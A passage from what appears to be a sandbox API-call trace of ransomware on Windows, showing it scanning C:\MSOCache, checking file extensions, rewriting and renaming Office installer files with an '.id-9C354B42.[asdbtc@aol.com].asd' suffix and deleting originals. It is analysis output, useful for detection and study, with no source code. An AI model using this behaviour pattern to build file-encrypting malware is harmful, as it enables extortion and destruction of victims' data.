Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.416] lstrlenW (lpString=".dbf") returned 4 [0059.416] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0059.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.416] lstrlenW (lpString=".1cd") returned 4 [0059.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0059.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0059.416] lstrlenW (lpString=".jpg") returned 4 [0059.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".asd") returned 1 [0059.417] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0059.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.009] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=715834) returned 1 [0060.009] CloseHandle (hObject=0x21c) returned 1 [0060.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0060.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0060.015] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.021] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.021] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.021] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0060.037] GetLastError () returned 0x0 [0060.037] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0060.052] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0060.066] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0x0, lpOverlapped=0x0) returned 1 [0060.066] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0x104, lpOverlapped=0x0) returned 1 [0060.066] SetEndOfFile (hFile=0x1e8) returned 1 [0060.066] CloseHandle (hObject=0x1e8) returned 1 [0060.066] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.066] SetEndOfFile (hFile=0x21c) returned 1 [0060.853] CloseHandle (hObject=0x21c) returned 1 [0060.853] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0060.853] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0060.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.853] lstrlenW (lpString=".doc") returned 4 [0060.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0060.853] lstrlenW (lpString=".docx") returned 5 [0060.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0060.853] lstrlenW (lpString=".pdf") returned 4 [0060.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".xls") returned 4 [0060.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".xlsx") returned 5 [0060.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0060.854] lstrlenW (lpString=".ppt") returned 4 [0060.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString=".zip") returned 4 [0060.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".rar") returned 4 [0060.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".bz2") returned 4 [0060.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".7z") returned 3 [0060.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString=".dbf") returned 4 [0060.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString=".1cd") returned 4 [0060.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString=".jpg") returned 4 [0060.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.854] lstrlenW (lpString=".doc") returned 4 [0060.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0060.854] lstrlenW (lpString=".docx") returned 5 [0060.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0060.855] lstrlenW (lpString=".pdf") returned 4 [0060.855] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString=".xls") returned 4 [0060.855] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString=".xlsx") returned 5 [0060.855] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0060.855] lstrlenW (lpString=".ppt") returned 4 [0060.855] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.855] lstrlenW (lpString=".zip") returned 4 [0060.855] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString=".rar") returned 4 [0060.855] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString=".bz2") returned 4 [0060.855] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString=".7z") returned 3 [0060.855] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0060.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.855] lstrlenW (lpString=".dbf") returned 4 [0060.855] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.855] lstrlenW (lpString=".1cd") returned 4 [0060.855] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0060.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.855] lstrlenW (lpString=".jpg") returned 4 [0060.855] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0060.855] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0060.855] lstrlenW (lpString="Office32WW.msi") returned 14 [0060.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.856] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=1992192) returned 1 [0060.856] CloseHandle (hObject=0x21c) returned 1 [0060.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0060.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0060.856] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0060.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.857] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0060.857] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.857] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.860] ReadFile (in: hFile=0x21c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.870] ReadFile (in: hFile=0x21c, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.951] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.952] WriteFile (in: hFile=0x21c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0061.380] SetEndOfFile (hFile=0x21c) returned 1 [0061.380] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0061.381] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.381] WriteFile (in: hFile=0x21c, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.383] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.383] WriteFile (in: hFile=0x21c, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.386] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.386] WriteFile (in: hFile=0x21c, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0061.389] CloseHandle (hObject=0x21c) returned 1 [0061.389] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.389] lstrlenW (lpString=".doc") returned 4 [0061.389] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0061.389] lstrlenW (lpString=".docx") returned 5 [0061.389] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0061.390] lstrlenW (lpString=".pdf") returned 4 [0061.390] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0061.390] lstrlenW (lpString=".xls") returned 4 [0061.390] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0061.390] lstrlenW (lpString=".xlsx") returned 5 [0061.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0061.390] lstrlenW (lpString=".ppt") returned 4 [0061.390] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString=".zip") returned 4 [0061.390] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0061.390] lstrlenW (lpString=".rar") returned 4 [0061.390] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0061.390] lstrlenW (lpString=".bz2") returned 4 [0061.390] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0061.390] lstrlenW (lpString=".7z") returned 3 [0061.390] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString=".dbf") returned 4 [0061.390] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString=".1cd") returned 4 [0061.390] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString=".jpg") returned 4 [0061.390] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.390] lstrlenW (lpString=".doc") returned 4 [0061.390] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0061.390] lstrlenW (lpString=".docx") returned 5 [0061.390] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0061.391] lstrlenW (lpString=".pdf") returned 4 [0061.391] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0061.391] lstrlenW (lpString=".xls") returned 4 [0061.391] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0061.391] lstrlenW (lpString=".xlsx") returned 5 [0061.391] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0061.391] lstrlenW (lpString=".ppt") returned 4 [0061.391] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0061.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.391] lstrlenW (lpString=".zip") returned 4 [0061.391] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0061.391] lstrlenW (lpString=".rar") returned 4 [0061.391] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0061.391] lstrlenW (lpString=".bz2") returned 4 [0061.391] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0061.391] lstrlenW (lpString=".7z") returned 3 [0061.391] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0061.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.391] lstrlenW (lpString=".dbf") returned 4 [0061.391] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0061.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.391] lstrlenW (lpString=".1cd") returned 4 [0061.391] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0061.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0061.391] lstrlenW (lpString=".jpg") returned 4 [0061.391] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0061.391] lstrcmpiW (lpString1=".xrm-ms", lpString2=".asd") returned 1 [0061.391] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0061.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.392] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=715834) returned 1 [0061.392] CloseHandle (hObject=0x21c) returned 1 [0061.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0061.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0061.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.392] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.392] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.392] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0061.393] GetLastError () returned 0x0 [0061.393] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0061.727] WriteFile (in: hFile=0x170, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0062.205] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.206] WriteFile (in: hFile=0x170, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0x104, lpOverlapped=0x0) returned 1 [0062.206] SetEndOfFile (hFile=0x170) returned 1 [0062.667] CloseHandle (hObject=0x170) returned 1 [0062.667] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.668] SetEndOfFile (hFile=0x21c) returned 1 [0062.674] CloseHandle (hObject=0x21c) returned 1 [0062.674] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0062.674] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) Thread: id = 18 os_tid = 0x994 [0040.255] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39006c0 [0040.256] lstrlenW (lpString="C:") returned 2 [0040.256] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33ffd00 | out: lpFindFileData=0x33ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x561010 [0040.256] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0040.256] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0040.256] lstrlenW (lpString="$Recycle.Bin") returned 12 [0040.256] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0040.256] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39106c8 [0040.257] 